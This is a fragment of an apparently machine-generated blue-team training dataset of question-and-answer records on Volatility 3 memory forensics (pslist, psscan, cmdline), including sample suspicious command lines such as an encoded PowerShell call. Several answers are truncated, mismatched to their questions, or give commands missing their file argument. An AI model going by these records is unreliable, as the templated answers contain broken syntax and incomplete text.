"original", "retrieved_at": "2025-12-18T00:11:32.024738Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024823Z", "updated_at": "2025-12-18T00:11:32.024823Z"} +{"id": "trtp-4667304c3785", "instruction": "What are the use cases for Volatility 3?", "output": "Use cases for Volatility 3:\n\n- Incident response\n- Malware analysis\n- Forensic investigation\n- Threat hunting\n\nVolatility 3 is an open-source memory forensics framework for analyzing RAM dumps. It extracts digital artifacts from volatile memory including running processes, network connections, loaded modules,", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-3-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024738Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024835Z", "updated_at": "2025-12-18T00:11:32.024835Z"} +{"id": "trtp-d864626653af", "instruction": "How do I read Volatility 3 output?", "output": "Interpreting Volatility 3 output:\n\nOutput varies by plugin - typically tabular data with relevant artifacts\n\nExample output:\n```\nvol -f memory.dmp windows.pslist\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-3-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024738Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024847Z", "updated_at": "2025-12-18T00:11:32.024847Z"} +{"id": "trtp-ee7aabf74721", "instruction": "What best practices should I follow when using Volatility 3?", "output": "Tips for using Volatility 3:\n\n- Use symbols for better results\n- Start with pslist then drill down\n- Combine multiple plugins for full picture\n\nUseful for: Incident response, Malware analysis, Forensic investigation", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-3-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024738Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024872Z", "updated_at": "2025-12-18T00:11:32.024872Z"} +{"id": "trtp-14dd759c2929", "instruction": "How can Volatility 3 help identify malicious activity?", "output": "Using Volatility 3 for threat detection:\n\nVolatility 3 is an open-source memory forensics framework for analyzing RAM dumps. It extracts digital artifacts from volatile memory including running processes, network connections, loaded modules, and registry hives. Complete rewrite from Volatility 2 with Python 3 support.\n\nExample:\n```\nvol -f memory.dmp windows.pslist\n```\n\nTips:\n- Use symbols for better results\n- Start with pslist then drill down", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-3-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024738Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024893Z", "updated_at": "2025-12-18T00:11:32.024893Z"} +{"id": "trtp-cc1dd9929c8c", "instruction": "What artifacts does Volatility 3 analyze?", "output": "Forensic analysis with Volatility 3:\n\nVolatility 3 is an open-source memory forensics framework for analyzing RAM dumps. It extracts digital artifacts from volatile memory including running processes, network connections, loaded modules, and registry hives. Complete rewrite from Volatility 2 with Python 3 support.\n\nForensic applications:\n- Incident response\n- Malware analysis\n- Forensic investigation\n\nWhat to look for: Output varies by plugin - typically tabular data with relevant artifacts", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-3-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024738Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024905Z", "updated_at": "2025-12-18T00:11:32.024905Z"} +{"id": "trtp-55b094bdafdf", "instruction": "How do I incorporate Volatility 3 into my security workflow?", "output": "Workflow for Volatility 3 Overview:\n\n1. Understand the context: Volatility 3 is an open-source memory forensics framework for analyzing RAM dumps. It extracts digital artifacts from volatile memory including running processes, network connections, loaded modules, \n\n2. Apply the tool:\n```\nvol -f memory.dmp windows.pslist\n```\n\n3. Common scenarios: Incident response, Malware analysis, Forensic investigation\n\n4. Best practices:\n - Use symbols for better results\n - Start with pslist then drill down", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-3-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024738Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024938Z", "updated_at": "2025-12-18T00:11:32.024938Z"} +{"id": "trtp-c26ad60e3180", "instruction": "What makes Volatility 3 useful for this task?", "output": "Advantages of Volatility 3:\n\nVolatility 3 is an open-source memory forensics framework for analyzing RAM dumps. It extracts digital artifacts from volatile memory including running processes, network connections, loaded modules, and registry hives. Complete rewrite from Volatility 2 with Python 3 support.\n\nBest suited for:\n- Incident response\n- Malware analysis\n- Forensic investigation\n- Threat hunting\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-3-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024738Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024962Z", "updated_at": "2025-12-18T00:11:32.024962Z"} +{"id": "trtp-afb3c05155a6", "instruction": "Can Volatility 3 be combined with other analysis methods?", "output": "Integration points for Volatility 3:\n\nVolatility 3 is an open-source memory forensics framework for analyzing RAM dumps. It extracts digital artifacts from volatile memory including running processes, network connections, loaded modules, \n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-3-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.024738Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.024977Z", "updated_at": "2025-12-18T00:11:32.024977Z"} +{"id": "trtp-737267e28751", "instruction": "How do security analysts use Volatility 3?", "output": "windows.pslist - Process List\n\nwindows.pslist enumerates processes from the EPROCESS doubly-linked list. Shows PID, PPID, process name, and creation time. Starting point for process analysis.\n\nPlatform: windows\n\nCommon uses:\n- List running processes\n- Identify suspicious processes\n- Build process tree\n- Find malware processes", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspslist---process-list", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025235Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025269Z", "updated_at": "2025-12-18T00:11:32.025269Z"} +{"id": "trtp-42e5b18f3316", "instruction": "How do I use Volatility 3?", "output": "Syntax for Volatility 3:\n\nvol -f windows.pslist\n\nwindows.pslist enumerates processes from the EPROCESS doubly-linked list. Shows PID, PPID, process name, and creation time. Starting point for process analysis.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspslist---process-list", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025235Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025282Z", "updated_at": "2025-12-18T00:11:32.025282Z"} +{"id": "trtp-d7bfeed4e8be", "instruction": "Show me an example of Volatility 3 in action.", "output": "Example of windows.pslist - Process List:\n\n```\nvol -f memory.dmp windows.pslist\n\nPID PPID ImageFileName CreateTime\n4 0 System 2024-01-15 10:00:00\n1234 5678 cmd.exe 2024-01-15 10:30:00\n5678 1111 powershell.exe 2024-01-15 10:29:00\n```\n\nInterpretation: PID=process ID, PPID=parent PID, unusual names or parent-child relationships are suspicious", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspslist---process-list", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025235Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025302Z", "updated_at": "2025-12-18T00:11:32.025302Z"} +{"id": "trtp-ba6fe4070650", "instruction": "Show me an example of Volatility 3 in action.", "output": "Here is a practical example of Volatility 3:\n\n```\nvol -f memory.dmp windows.pslist\n\nPID PPID ImageFileName CreateTime\n4 0 System 2024-01-15 10:00:00\n1234 5678 cmd.exe 2024-01-15 10:30:00\n5678 1111 powershell.exe 2024-01-15 10:29:00\n```\n\nwindows.pslist enumerates processes from the EPROCESS doubly-linked list. Shows PID, PPID, process name, and creation time. Starting point for process analysis.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspslist---process-list", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025235Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025313Z", "updated_at": "2025-12-18T00:11:32.025313Z"} +{"id": "trtp-f744950738c6", "instruction": "What security tasks can I accomplish with Volatility 3?", "output": "Use cases for Volatility 3:\n\n- List running processes\n- Identify suspicious processes\n- Build process tree\n- Find malware processes\n\nwindows.pslist enumerates processes from the EPROCESS doubly-linked list. Shows PID, PPID, process name, and creation time. Starting point for process analysis.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspslist---process-list", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025235Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025335Z", "updated_at": "2025-12-18T00:11:32.025335Z"} +{"id": "trtp-29f782ab22d4", "instruction": "Explain the output of Volatility 3.", "output": "Interpreting Volatility 3 output:\n\nPID=process ID, PPID=parent PID, unusual names or parent-child relationships are suspicious\n\nExample output:\n```\nvol -f memory.dmp windows.pslist\n\nPID PPID ImageFileName CreateTime\n4 0 System 2024-01-15 10:00:00\n1234 5678 cmd.exe 2024-01-15 10:30:00\n5678 1111 powershell.exe 2024-01-15 10:29:00\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspslist---process-list", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025235Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025345Z", "updated_at": "2025-12-18T00:11:32.025345Z"} +{"id": "trtp-0139dc2b8ab6", "instruction": "What are some tips for using Volatility 3?", "output": "Tips for using Volatility 3:\n\n- Compare PPID relationships\n- Look for misspelled system processes\n- Note unusual creation times\n\nUseful for: List running processes, Identify suspicious processes, Build process tree", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspslist---process-list", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025235Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025367Z", "updated_at": "2025-12-18T00:11:32.025367Z"} +{"id": "trtp-6dc4b402ffe1", "instruction": "What should I look for when using Volatility 3 for incident response?", "output": "Using Volatility 3 for threat detection:\n\nwindows.pslist enumerates processes from the EPROCESS doubly-linked list. Shows PID, PPID, process name, and creation time. Starting point for process analysis.\n\nExample:\n```\nvol -f memory.dmp windows.pslist\n\nPID PPID ImageFileName CreateTime\n4 0 System 2024-01-15 10:00:00\n1234 5678 cmd.exe 2024-01-15 10:30:00\n5678 1111 powershell.exe 2024-01-15 10:29:00\n```\n\nTips:\n- Compare PPID relationships\n- Look for misspelled system processes", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspslist---process-list", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025235Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025380Z", "updated_at": "2025-12-18T00:11:32.025380Z"} +{"id": "trtp-10261da809fc", "instruction": "What artifacts does Volatility 3 analyze?", "output": "Forensic analysis with Volatility 3:\n\nwindows.pslist enumerates processes from the EPROCESS doubly-linked list. Shows PID, PPID, process name, and creation time. Starting point for process analysis.\n\nForensic applications:\n- List running processes\n- Identify suspicious processes\n- Build process tree\n\nWhat to look for: PID=process ID, PPID=parent PID, unusual names or parent-child relationships are suspicious", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspslist---process-list", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025235Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025407Z", "updated_at": "2025-12-18T00:11:32.025407Z"} +{"id": "trtp-5085bf74830c", "instruction": "What is the typical workflow for using Volatility 3?", "output": "Workflow for windows.pslist - Process List:\n\n1. Understand the context: windows.pslist enumerates processes from the EPROCESS doubly-linked list. Shows PID, PPID, process name, and creation time. Starting point for process analysis.\n\n2. Apply the tool:\n```\nvol -f memory.dmp windows.pslist\n\nPID PPID ImageFileName CreateTime\n4 0 System 2024-01-15 10:00:00\n1234 5678 cmd.exe 2024-01-15 10:30:00\n5678 1111 powershell.exe 2024-01-15 10:29:00\n```\n\n3. Common scenarios: List running processes, Identify suspicious processes, Build process tree\n\n4. Best practices:\n - Compare PPID relationships\n - Look for misspelled system processes", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspslist---process-list", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025235Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025433Z", "updated_at": "2025-12-18T00:11:32.025433Z"} +{"id": "trtp-d8dce532a744", "instruction": "When should I use Volatility 3 versus other similar tools?", "output": "Advantages of Volatility 3:\n\nwindows.pslist enumerates processes from the EPROCESS doubly-linked list. Shows PID, PPID, process name, and creation time. Starting point for process analysis.\n\nBest suited for:\n- List running processes\n- Identify suspicious processes\n- Build process tree\n- Find malware processes\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspslist---process-list", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025235Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025447Z", "updated_at": "2025-12-18T00:11:32.025447Z"} +{"id": "trtp-215e2c75161e", "instruction": "Can Volatility 3 be combined with other analysis methods?", "output": "Integration points for Volatility 3:\n\nwindows.pslist enumerates processes from the EPROCESS doubly-linked list. Shows PID, PPID, process name, and creation time. Starting point for process analysis.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspslist---process-list", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025235Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025465Z", "updated_at": "2025-12-18T00:11:32.025465Z"} +{"id": "trtp-838bf20c4a0c", "instruction": "What do I need to know about Volatility 3?", "output": "windows.psscan - Hidden Process Scan\n\nwindows.psscan scans memory for EPROCESS structures using pool tag scanning. Can find terminated processes and hidden processes unlinked from the process list.\n\nPlatform: windows\n\nCommon uses:\n- Find hidden processes\n- Detect rootkits\n- Find terminated processes\n- Identify process hiding", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspsscan---hidden-process-scan", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025788Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025834Z", "updated_at": "2025-12-18T00:11:32.025834Z"} +{"id": "trtp-7534ff815791", "instruction": "What command or query syntax does Volatility 3 use?", "output": "Syntax for Volatility 3:\n\nvol -f windows.psscan\n\nwindows.psscan scans memory for EPROCESS structures using pool tag scanning. Can find terminated processes and hidden processes unlinked from the process list.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspsscan---hidden-process-scan", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025788Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025848Z", "updated_at": "2025-12-18T00:11:32.025848Z"} +{"id": "trtp-47ed09d2e24e", "instruction": "How would I use Volatility 3 for Find hidden processes?", "output": "Example of windows.psscan - Hidden Process Scan:\n\n```\nvol -f memory.dmp windows.psscan\n\n# Finds processes hidden from pslist\n# Exit time populated = terminated process\n# In psscan but not pslist = potentially hidden\n```\n\nInterpretation: Processes in psscan but not pslist may be hidden by rootkit or DKOM", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspsscan---hidden-process-scan", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025788Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025870Z", "updated_at": "2025-12-18T00:11:32.025870Z"} +{"id": "trtp-2579e8346014", "instruction": "In what scenarios is Volatility 3 useful?", "output": "Use cases for Volatility 3:\n\n- Find hidden processes\n- Detect rootkits\n- Find terminated processes\n- Identify process hiding\n\nwindows.psscan scans memory for EPROCESS structures using pool tag scanning. Can find terminated processes and hidden processes unlinked from the process list.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspsscan---hidden-process-scan", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025788Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025882Z", "updated_at": "2025-12-18T00:11:32.025882Z"} +{"id": "trtp-25cc26b5ce60", "instruction": "Explain the output of Volatility 3.", "output": "Interpreting Volatility 3 output:\n\nProcesses in psscan but not pslist may be hidden by rootkit or DKOM\n\nExample output:\n```\nvol -f memory.dmp windows.psscan\n\n# Finds processes hidden from pslist\n# Exit time populated = terminated process\n# In psscan but not pslist = potentially hidden\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspsscan---hidden-process-scan", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025788Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025894Z", "updated_at": "2025-12-18T00:11:32.025894Z"} +{"id": "trtp-edafa09a07a5", "instruction": "What are some tips for using Volatility 3?", "output": "Tips for using Volatility 3:\n\n- Compare with pslist output\n- Hidden processes indicate rootkit\n- Check ExitTime for terminated processes\n\nUseful for: Find hidden processes, Detect rootkits, Find terminated processes", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspsscan---hidden-process-scan", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025788Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025908Z", "updated_at": "2025-12-18T00:11:32.025908Z"} +{"id": "trtp-fdb3ea9a99fe", "instruction": "What indicators does Volatility 3 help identify?", "output": "Using Volatility 3 for threat detection:\n\nwindows.psscan scans memory for EPROCESS structures using pool tag scanning. Can find terminated processes and hidden processes unlinked from the process list.\n\nExample:\n```\nvol -f memory.dmp windows.psscan\n\n# Finds processes hidden from pslist\n# Exit time populated = terminated process\n# In psscan but not pslist = potentially hidden\n```\n\nTips:\n- Compare with pslist output\n- Hidden processes indicate rootkit", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspsscan---hidden-process-scan", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025788Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025921Z", "updated_at": "2025-12-18T00:11:32.025921Z"} +{"id": "trtp-9262943d4218", "instruction": "What artifacts does Volatility 3 analyze?", "output": "Forensic analysis with Volatility 3:\n\nwindows.psscan scans memory for EPROCESS structures using pool tag scanning. Can find terminated processes and hidden processes unlinked from the process list.\n\nForensic applications:\n- Find hidden processes\n- Detect rootkits\n- Find terminated processes\n\nWhat to look for: Processes in psscan but not pslist may be hidden by rootkit or DKOM", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspsscan---hidden-process-scan", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025788Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025947Z", "updated_at": "2025-12-18T00:11:32.025947Z"} +{"id": "trtp-ec61e267181c", "instruction": "What's the process for analyzing data with Volatility 3?", "output": "Workflow for windows.psscan - Hidden Process Scan:\n\n1. Understand the context: windows.psscan scans memory for EPROCESS structures using pool tag scanning. Can find terminated processes and hidden processes unlinked from the process list.\n\n2. Apply the tool:\n```\nvol -f memory.dmp windows.psscan\n\n# Finds processes hidden from pslist\n# Exit time populated = terminated process\n# In psscan but not pslist = potentially hidden\n```\n\n3. Common scenarios: Find hidden processes, Detect rootkits, Find terminated processes\n\n4. Best practices:\n - Compare with pslist output\n - Hidden processes indicate rootkit", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspsscan---hidden-process-scan", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025788Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025978Z", "updated_at": "2025-12-18T00:11:32.025978Z"} +{"id": "trtp-1c5fcca2b9ad", "instruction": "What makes Volatility 3 useful for this task?", "output": "Advantages of Volatility 3:\n\nwindows.psscan scans memory for EPROCESS structures using pool tag scanning. Can find terminated processes and hidden processes unlinked from the process list.\n\nBest suited for:\n- Find hidden processes\n- Detect rootkits\n- Find terminated processes\n- Identify process hiding\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspsscan---hidden-process-scan", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025788Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.025991Z", "updated_at": "2025-12-18T00:11:32.025991Z"} +{"id": "trtp-87db75e6ea40", "instruction": "How does Volatility 3 integrate with other security tools?", "output": "Integration points for Volatility 3:\n\nwindows.psscan scans memory for EPROCESS structures using pool tag scanning. Can find terminated processes and hidden processes unlinked from the process list.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowspsscan---hidden-process-scan", "license": "original", "retrieved_at": "2025-12-18T00:11:32.025788Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026024Z", "updated_at": "2025-12-18T00:11:32.026024Z"} +{"id": "trtp-a3eeb434ccdf", "instruction": "Describe windows.cmdline - Command Lines.", "output": "windows.cmdline - Command Lines\n\nwindows.cmdline extracts command line arguments for each process from the PEB (Process Environment Block). Essential for understanding how processes were invoked.\n\nPlatform: windows\n\nCommon uses:\n- See process arguments\n- Identify encoded commands\n- Find malicious invocations\n- Track attacker activity", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowscmdline---command-lines", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026326Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026351Z", "updated_at": "2025-12-18T00:11:32.026351Z"} +{"id": "trtp-37779bc50053", "instruction": "What is the syntax for Volatility 3?", "output": "Syntax for Volatility 3:\n\nvol -f windows.cmdline\n\nwindows.cmdline extracts command line arguments for each process from the PEB (Process Environment Block). Essential for understanding how processes were invoked.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowscmdline---command-lines", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026326Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026379Z", "updated_at": "2025-12-18T00:11:32.026379Z"} +{"id": "trtp-1a10b2b31db9", "instruction": "Demonstrate windows.cmdline - Command Lines with an example.", "output": "Example of windows.cmdline - Command Lines:\n\n```\nvol -f memory.dmp windows.cmdline\n\nPID Process Args\n1234 cmd.exe cmd.exe /c whoami\n5678 powershell.exe powershell.exe -enc SGVsbG8gV29ybGQ=\n```\n\nInterpretation: Args column shows full command line including encoded PowerShell, suspicious flags", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowscmdline---command-lines", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026326Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026391Z", "updated_at": "2025-12-18T00:11:32.026391Z"} +{"id": "trtp-5525bc96e9e2", "instruction": "When should I use Volatility 3?", "output": "Use cases for Volatility 3:\n\n- See process arguments\n- Identify encoded commands\n- Find malicious invocations\n- Track attacker activity\n\nwindows.cmdline extracts command line arguments for each process from the PEB (Process Environment Block). Essential for understanding how processes were invoked.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowscmdline---command-lines", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026326Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026412Z", "updated_at": "2025-12-18T00:11:32.026412Z"} +{"id": "trtp-bdc3a44bac7e", "instruction": "How do I read Volatility 3 output?", "output": "Interpreting Volatility 3 output:\n\nArgs column shows full command line including encoded PowerShell, suspicious flags\n\nExample output:\n```\nvol -f memory.dmp windows.cmdline\n\nPID Process Args\n1234 cmd.exe cmd.exe /c whoami\n5678 powershell.exe powershell.exe -enc SGVsbG8gV29ybGQ=\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowscmdline---command-lines", "license": "original", "retrieved_at": "2025-12-18T00:11:32.026326Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.026423Z", "updated_at": "2025-12-18T00:11:32.026423Z"} +{"id": "trtp-7f1007d41388", "instruction": "What best practices should I follow when using Volatility 3?", "output": "Tips for using Volatility 3:\n\n- Look for -enc (encoded PowerShell)\n- Watch for living-off-the-land binaries\n- Decode base64 arguments\n\nUseful for: See process arguments, Identify encoded commands, Find malicious invocations", "category": "detection", "team": "blue", "phase": "5a", "provenance": 